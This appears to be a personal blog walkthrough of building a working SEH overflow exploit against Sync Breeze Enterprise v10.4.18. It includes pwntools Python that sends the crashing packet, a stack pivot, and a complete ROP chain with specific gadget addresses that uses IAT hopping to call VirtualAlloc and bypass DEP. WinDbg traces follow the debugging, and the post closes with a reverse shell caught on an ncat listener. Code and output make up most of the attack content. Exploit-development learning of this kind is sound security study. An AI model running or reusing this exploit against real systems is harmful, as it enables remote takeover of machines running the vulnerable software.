# Sync Breeze Enterprise v10.4.18

# Outline

I'm going to start a series on exploiting a few older Windows applications to get a stronger understanding of how to create more sophisticated exploits using modern techniques. To start with I've chosen Sync Breeze Enterprise v10.4.18 as OJ Reeves did an amazing stream a few years back covering how to exploit this which I highly recommend watching. (link here https://www.youtube.com/watch?v=jta5z4FZagM).

Instead of blindly copying his rop gadget I'm going to create a chain for VirtualAlloc, instead of VirtualProtect. At first I wanted to use a different dll but due to bad bytes that isnt easily doable.

DISCLAIMER: I'm going to make a lot of mistakes, instead of editing them out, I'm just going to document them and correct them later on. This should be treated more as how I approach writing an exploit rather then a precise methodology of how to craft an exploit. With this in mind I will try to explain my reasoning for why I am doing each step. To try to this post from being way to long I'm going to get less verbose as I go along, as most of this will be following similar steps to before.

# Check Page Permissions

Code to trigger the crash

#!/usr/bin/env python3

import pwn

max_buf = 0x400

body = pwn.util.cyclic.cyclic_metasploit(max_buf)

deref_off = pwn.util.cyclic.cyclic_metasploit_find(0x63413187 - 0x24)
eip_off = pwn.util.cyclic.cyclic_metasploit_find(0x33654132)


body = b'A' * deref_off
body += b'B'* 4
body += b'C' * (eip_off - len(body))
body += b'D' * 4
body += b'E' * (max_buf - len(body))

header = b"\x75\x19\xba\xab"
header += pwn.p32(3)
header += pwn.p32(1)
header += pwn.p32(len(body))*2

header += pwn.p32(body[-1])

packet = header+body


s = pwn.remote('192.168.1.254', 9121)

s.send(packet)

response = s.recv(1024)

s.interactive()

Running the application in windbg and then triggering the crash shows:

(30f8.2de4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
eax=42424242 ebx=0331fa0c ecx=0331ff08 edx=0331f9c4 esi=0331ff08 edi=0331fb10
eip=008b2a9d esp=0331f998 ebp=0331feb8 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010202
libpal!SCA_ConfigObj::Deserialize+0x1d:
008b2a9d ff5024          call    dword ptr [eax+24h]  ds:002b:42424266=????????

As this is an SEH exploit we should look at the exception handler chain.

0:012> !exchain
0331fe0c: libpal!md5_starts+149fb (0092df5b)
0331ff44: 44444444
Invalid exception stack at 43434343

This shows that the next SEH handler is 0x44444444 or DDDD which is something we control! To figure out where to go from here we should check the page permissions of the stack if it is RWX we can do a pop pop ret; and point the SEH handler to a location on the stack and execute our shell code. If it is not executable (NX / DEP enabled) then we will have to use ROP.

0:012> !address @esp
... snip ...

Usage:                  Stack
Base Address:           0331e000
End Address:            03320000
Region Size:            00002000 (   8.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000004          PAGE_READWRITE
Type:                   00020000          MEM_PRIVATE

Content source: 1 (target), length: 1724

# Stack Pivot

When an expection handler is called, the esp register shall be decremented by a fair bit from where the top of our payload is. To fix this we need to put a gadget in the SEH address (currently populated with DDDD) that will add esp <offset>; ret and return esp back to where our shellcode is.

To find the offset, we need esp when the exception is getting handled and the location of the top of our buffer.

At the time of the exception: 0x02d1f560 and the top of the buffer is at 0x02d1fa10

Meaning we need a jump close to 0x4b0

To find this we can use ropper to generate all the possible rop gadgets.

0x10039f9e: add esp, 0x4e8; ret 0x18;

This is as close as I could I could get. Updating the script as follows the recrashing the application:

stack_pivot = 0x10039f9e #add esp, 0x4e8; ret 0x18;

body = b'A' * deref_off
body += b'B'* 4
body += b'C' * (eip_off - len(body))
#body += b'D' * 4
body += pwn.p32(stack_pivot)

Setting a breakpoint and running the application

0:007> bp 0x10039f9e
0:007> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=10039f9e esp=02cbf560 ebp=02cbf580 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
libspp!SCA_ClsReporter::operator=+0x970e:
10039f9e 81c4e8040000    add     esp,4E8h
0:007> t
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=10039fa4 esp=02cbfa48 ebp=02cbf580 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
libspp!SCA_ClsReporter::operator=+0x9714:
10039fa4 c21800          ret     18h
0:007> 
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=41414141 esp=02cbfa64 ebp=02cbf580 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
41414141 ??              ???
0:007> dd @esp
02cbfa64  43434343 43434343 43434343 43434343
02cbfa74  43434343 43434343 43434343 43434343
02cbfa84  43434343 43434343 10039f9e 45454545
02cbfa94  45454545 45454545 45454545 45454545
02cbfaa4  45454545 45454545 45454545 45454545
02cbfab4  45454545 45454545 45454545 45454545
02cbfac4  45454545 45454545 45454545 45454545
02cbfad4  45454545 45454545 45454545 45454545

This shows a few things, the first being that we need to include a ropnop at 0x02cbfa48 instead of AAAA, and that we now control esp!

Instead of doing a ropnop it would be a good idea to realign the stack. So we need a gadget that will inc esp by 2 + 4N

0x10094a53: add esp, 0xc; ret;

I'm also going to update the script to land esp at BBBB instead of CCCC

Looking at the stack layout:

41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 41414141 41414141 41414141
41414141 41414141 10094A53 41414141
43434343 43434343 43434343 43434343
43434343 43434343 43434343 43434343
43434343 43434343 43434343 43434343
43434343 43434343 43434343 10039F9E

We are going to need to pivot over 10039F9E anyways so may as well do it with the stack alignment resulting in a realignment of 0x28

0x10127d80: add esp, 0x20; ret;

off by 0xc :/

0x10136de0: add esp, 0x2c; ret;

updated code

stack_pivot = 0x10039f9e # add esp, 0x4e8; ret 0x18;
addr_realign = 0x10136de0 # add esp, 0x2c; ret;
rop_start = deref_off - 4

body = b'A' * rop_start
body += pwn.p32(addr_realign)
body += b'B' * (eip_off - len(body))
#body += b'D' * 4
body += pwn.p32(stack_pivot)
body += b'C' * 4
body += b'D' * (max_buf - len(body))
0:007> 
eax=00000000 ebx=00000000 ecx=10039f9e edx=77638fd0 esi=00000000 edi=00000000
eip=43434343 esp=02ccfa94 ebp=02ccf580 iopl=0         nv up ei pl nz ac pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000216
43434343 ??              ???

Now we dont need to worry about stack pivoting anymore.

# Virtual Alloc Stack Frame

As shown before the stack is currently NX so we can use something like VirtualProtect or VirtualAlloc to change the page permissions to RWX and execute shellcode on the stack. To do this we need to create a stack frame for VirtualAlloc and then call a pointer to VirtualAlloc to execute the function. The easiest way to do this is with the pushad; ret; opcodes. What this will do is push a bunch of registers to the stack:

Push EAX, ECX, EDX, EBX, original ESP, EBP, ESI, and EDI

So if we can get the right values in each register then call pushad it will create the stack frame.

Looking at MSDN VirtualAlloc needs these parameters:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize,
  [in]           DWORD  flAllocationType,
  [in]           DWORD  flProtect
);

For these we can set the following static values:

LPVOID VirtualAlloc(
  [in, optional] LPVOID lpAddress,
  [in]           SIZE_T dwSize, # 0x01 has to be non 0
  [in]           DWORD  flAllocationType, #MEM_COMMIT 0x1000
  [in]           DWORD  flProtect # PAGE_EXECUTE_READWRITE 0x40
);

Following the calling convention we need the registers to be set up as follows:

EAX = NOP (0x90909090)
ECX = flProtect # 0x40
EDX = flAllocationType #0x1000
EBX = dwSize # not 0
ESP = lpAddress # automatic, as this is the stackpointer lol
EBP = pointer to JMP ESP
ESI = pointer to VirtualAlloc
EDI = ROPNOP (RET)

Now the joys of setting this up :D

# IAT Hopping

For lols

In the stream, OJ did IAT hopping, and it was super cool, so I'm going to do it too.

The basic premise is to get the address of a KERNEL32 pointer from libspp.dll and then find a offset in KERNEL32 to KERNELBASE!VirtualAlloc

To find a pointer in libspp.dll we can dump the import address table for libspp.dll:

0:007> lm
start    end        module name
00400000 00463000   syncbrs  C (export symbols)       C:\Program Files (x86)\Sync Breeze Enterprise\bin\syncbrs.exe
007d0000 008a4000   libpal   C (export symbols)       C:\Program Files (x86)\Sync Breeze Enterprise\bin\libpal.dll
008b0000 00965000   libsync    (deferred)             
10000000 10226000   libspp   C (export symbols)       C:\Program Files (x86)\Sync Breeze Enterprise\bin\libspp.dll
0:007> !dh 0x10000000
... snip ...
       0  DLL characteristics
  187F40 [   4FC8F] address [size] of Export Directory
  184B00 [      8C] address [size] of Import Directory
       0 [       0] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
       0 [       0] address [size] of Security Directory
  210000 [   130D0] address [size] of Base Relocation Directory
       0 [       0] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
       0 [       0] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
  16A000 [     614] address [size] of Import Address Table Directory
       0 [       0] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
0:007> dps 0x10000000+0x16A000 0x10000000+0x16A000+614*4
... snip ...
1016a044  773b3850 KERNEL32!WriteFile
1016a048  773b1bd0 KERNEL32!DisableThreadLibraryCallsStub
1016a04c  773b3670 KERNEL32!GetFullPathNameW
1016a050  773ae220 KERNEL32!MultiByteToWideCharStub
1016a0ac  773b3180 KERNEL32!CloseHandle
1016a0b0  773b3760 KERNEL32!ReadFile

Going to use:

1016a0b0  773b3760 KERNEL32!ReadFile

Now to find the offset to KERNELBASE!VirtualProtect (same method as above but for kernel32 instead of libspp.dll)

77411594  7728b770 KERNELBASE!VirtualAlloc

So we need an offset of 0x77411594 - 0x773b3760 = 0x05DE34

So the chain we need is

pop esi; ret; # 0x1016a0b0 is on the stack
mov esi, dword ptr [esi]; ret;
add esi, 0x05DE34; ret;
mov esi, dword ptr [esi]; ret;
0x10043073: pop esi; ret;

I couldnt find a mov esi, dword ptr [esi]; ret; but found one for eax instead, so changing the rop chain to look like this:

0x10064def: pop edi; ret;
0x10040826: ret;
0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x05de34; 
0x100e5194: add eax, ebp; salc; ret;
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;

The above is super close, the only issue is 0x05de34 will be padded to include a null byte. Instead of add eax, ebp we could do sub eax, ebp and have ebp be a negative so it is basically the same.

0x10064def: pop edi; ret;
0x10040826: ret;
0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x100000000 - 0x05de34;
0x1014e1a8: sub eax, ebp; pop esi; pop ebp; pop ebx; ret;
0x90909090
0x90909090
0x90909090
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;

That should be the final chain!

After adding it to python and re crashing the app. Running this I got one thing wrong, there should be a pop pop ret in edi not a ret

Giving the final chain of:

0x100fd644: pop eax; ret;
0x1016a0b0
0x1014fc8c: mov eax, dword ptr [eax]; ret;
0x1005edc5: pop ebp; ret;
0x100000000 - 0x05de34;
0x1014e1a8: sub eax, ebp; pop esi; pop ebp; pop ebx; ret;
0x90909090
0x90909090
0x90909090
0x10064def: pop edi; ret;
0x1015a2f0: pop eax; pop ebx; ret;
0x10138850: mov esi, dword ptr [eax]; push eax; call edi;

# Setting the rest of the registers

# EAX

0x100fd644: pop eax; ret;
0x90909090

easy

# EBP

0x100bc9e5: push esp; ret;

It's the same as a jmp esp;

# EDI

0x10064def: pop edi; ret;
0x10040826:  ret; 

# EBX

0x10064def: pop edi; ret;
0x10040826:  ret; 
0x100430c7: pop ebx; ret;
0xFFFFFFFF
0x101260ab: inc ebx; add al, 0x50; call edi;
0x101260ab: inc ebx; add al, 0x50; call edi;

# ECX

As we cant just directly pop 0x40 into the register I found a chain that will increment it by 0x10.

0x10041e60: xor ecx, ecx; cmp eax, 1; sete cl; mov eax, ecx; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;
0x100fd644: pop eax; ret;
0x90909090
0x10157580: add ecx, 0x10; cmp eax, 0x28; jb 0x15757b; xor eax, eax; ret;

# EDX

This was annoying to set up, but it was easy once I found the mov edx, eax; sar edx, 8; gadget.

0x10043c28: pop ecx; ret;
0x1020f040 # writeable addr
0x100fd644: pop eax; ret;
0xFFFF0FFF
0x10060ec8: inc eax; ret;
0x10142f9d: mov edx, eax; mov byte ptr [ecx + 5], al; sar edx, 8; mov byte ptr [ecx + 4], dl; ret;
0x10154f1a: sar edx, 8; mov byte ptr [eax], dl; ret;

# Reorder gadgets

The edx, ecx and esi chains are messy so there is a high chance they will break previously set registers.

ecx breaks: eax edx breaks: ecx, eax esi breaks: eax, ebp, edi, esi, ebx

So the order should be:

esi
edx
ecx
# the rest

Giving the final rop chain of:

#ESI = pointer to VirtualAlloc
body += pwn.p32(addr_popeaxret)
body += pwn.p32(addr_iattable)
body += pwn.p32(addr_derefeaxret)
body += pwn.p32(addr_popebpret)
body += pwn.p32(0x100000000 - 0x05de34)
body += pwn.p32(addr_subeaxebp_pppr_ret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(addr_popediret)
body += pwn.p32(addr_ppr)
body += pwn.p32(addr_derefeaxesi_calledi)

#EDX = flAllocationType #0x1000 
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0xFFFF0FFF)
body += pwn.p32(addr_incecxret)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_saredx)

#ECX = flProtect # 0x40
body += pwn.p32(addr_xorecx)
for i in range(3):
    body += pwn.p32(addr_popeaxret)
    body += pwn.p32(0x90909090)
    body += pwn.p32(addr_add0x10ecx)

#EAX = NOP (0x90909090)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x90909090)

#EBP = pointer to JMP ESP
body += pwn.p32(addr_pushespret)

#EDI = ROPNOP (RET)
body += pwn.p32(addr_popediret)
body += pwn.p32(ropnop)

#EBX = dwSize # not 0
body += pwn.p32(addr_popebpret)
body += pwn.p32(0xFFFFFFFF)
body += pwn.p32(addr_incebx_calledi)
body += pwn.p32(addr_incebx_calledi)

Running this and setting a breakpoint at the end, and it errors.

# Debugging

So close, the edx sar starting value is off. I think it should be:

body += pwn.p32(0x0FFF4040)

As it will get shifted to 0x00000FFF then incremented to 0x00001000

Trying again

0:007> 
(2924.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0fff4041 ebx=77411594 ecx=1020f040 edx=00000fff esi=7728b770 edi=1015a2f0
eip=10154f1d esp=02d1fadc ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libspp!pcre_exec+0x1108d:
10154f1d 8810            mov     byte ptr [eax],dl          ds:002b:0fff4041=??
0:007> 
(2924.cfc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00000000 edx=77638fd0 esi=00000000 edi=00000000
eip=00000000 esp=02d1f6a8 ebp=02d1f6c8 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
00000000 ??              ???

...

First thing is that it inc needs to come after the sar

#EDX = flAllocationType #0x1000
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x0FFF4040)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_incecxret)
body += pwn.p32(addr_saredx)

Trying again. Sam exception handler.

Oh the addr_saredx gadget is wrong. It should be:

0x10142fa2: sar edx, 8; mov byte ptr [ecx + 4], dl; ret;

The inc also needs to be on edx

0x1012bb29: inc edx; mov ax, dx; ret;

This breaks eax, which is fine as we already did that before.

This should be it.

#EDX = flAllocationType #0x1000
body += pwn.p32(addr_popecxret)
body += pwn.p32(0x1020f040)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x0FFF4040)
body += pwn.p32(addr_movedxeax_saredx)
body += pwn.p32(addr_saredx)
body += pwn.p32(addr_incedx)

This didnt work, forgot to loop ecx 4 times, and ebp needs to have a pop ebp at the start. Also going to add a pushad; ret; and some nops to the end of the payload, as its getting super close.

EBX destroied ECX:

0:007> 
eax=909090e0 ebx=77411595 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260b0 esp=02cdfb2c ebp=ffffffff iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
libspp!SPP_ValueTrend::FormatValueString+0x870:
101260b0 8b4b08          mov     ecx,dword ptr [ebx+8] ds:002b:7741159d=7077260d
0:007> 
eax=909090e0 ebx=77411595 ecx=7077260d edx=00001000 esi=7728b770 edi=10040826
eip=101260b3 esp=02cdfb2c ebp=ffffffff iopl=0         nv up ei ng nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000282
libspp!SPP_ValueTrend::FormatValueString+0x873:
101260b3 51              push    ecx
0:007>********

This is weird as the gadget shouldnt do that. The gadget chain was wrong so going to rewrite it:

0x100430c7: pop ebx; ret;
0xFFFFFFFF
0x101260ab: inc ebx; add al, 0x50; call edi;
0x101260ab: inc ebx; add al, 0x50; call edi;

This will break the eax register as the al register is the lower 8-bits. Updating the rop chain and trying again.

0:007> 
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260ae esp=02c9fb24 ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x86e:
101260ae ffd7            call    edi {libspp!SCA_ClsFinder::SearchFile+0x416 (10040826)}
0:007> 
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=10040826 esp=02c9fb20 ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
libspp!SCA_ClsFinder::SearchFile+0x416:
10040826 c3              ret
0:007> 
eax=00000050 ebx=00000000 ecx=00000040 edx=00001000 esi=7728b770 edi=10040826
eip=101260b0 esp=02c9fb24 ebp=90909090 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
libspp!SPP_ValueTrend::FormatValueString+0x870:
101260b0 8b4b08          mov     ecx,dword ptr [ebx+8] ds:002b:00000008=????????

ahhh cause I'm doing a call there needs to be a PPR.

0x100de5ef: pop eax; pop edi; ret 0xc;

The ret 0xc is going to be annoying.

I think this is right:

#EBX = dwSize # not 0
body += pwn.p32(addr_popebxret)
body += pwn.p32(0xFFFFFFFF)
for i in range(2):
    body += pwn.p32(addr_popediret)
    body += pwn.p32(addr_ppr0xc)
    body += pwn.p32(addr_incebx_calledi)
    body += pwn.p32(0x90909090)

#EDI = ROPNOP (RET)
body += pwn.p32(addr_popediret)
body += pwn.p32(ropnop)

It should be 1 as its 3 for the 0xc and 8 are taken by the PPR.

So turns out a lot was wrong. I single stepped and changed a few things, it now looks like this:

#EBX = dwSize # not 0
#EDI = ROPNOP (RET)
body += pwn.p32(addr_popebxret)
body += pwn.p32(0xFFFFFFFF)
body += pwn.p32(addr_popediret)
body += pwn.p32(addr_ppr0xc)
body += pwn.p32(addr_incebx_calledi)
body += b'A'*4
body += pwn.p32(addr_popediret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(addr_ppr0xc)
body += pwn.p32(addr_incebx_calledi)
body += pwn.p32(ropnop)

#EAX = NOP (0x90909090)
body += pwn.p32(addr_popeaxret)
body += pwn.p32(0x90909090)*3
body += pwn.p32(0x90909090)

And this works!!!

0:007> 
eax=02cbf000 ebx=00000001 ecx=97640000 edx=02cbf000 esi=7728b770 edi=10040826
eip=02cbfb62 esp=02cbfb60 ebp=100bc9e5 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
02cbfb62 90              nop
0:007> !@esp
@esp is not extension gallery command
No export @esp found
0:007> !address @esp

                                     
Mapping file section regions...
Mapping module regions...
Mapping PEB regions...
Mapping TEB and stack regions...
Mapping heap regions...
Mapping page heap regions...
Mapping other regions...
Mapping stack trace database regions...
Mapping activation context regions...

Usage:                  Stack
Base Address:           02cbf000
End Address:            02cc0000
Region Size:            00001000 (   4.000 kB)
State:                  00001000          MEM_COMMIT
Protect:                00000040          PAGE_EXECUTE_READWRITE
Type:                   00020000          MEM_PRIVATE
Allocation Base:        02bc0000
Allocation Protect:     00000004          PAGE_READWRITE
More info:              ~7k

Content source: 1 (target), length: 4a0

Which means shell time!

ncat -vlnp 9001
Ncat: Version 7.95 ( https://nmap.org/ncat )
Ncat: Listening on [::]:9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 192.168.1.254:55191.
Microsoft Windows [Version 10.0.19045.4957]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files (x86)\Sync Breeze Enterprise\bin>

SHELL!!

# Fin

That derailed kinda quickly, towards the end I left out most of the debugging issues, as it was just me doing dumb stuff and not mathing right.

Surely there are better ways to optimise this and maybe use better gadgets, so I might revisit this later.

Full script is on github: https://github.com/ElJayRight/pocscripts/blob/main/sploit.py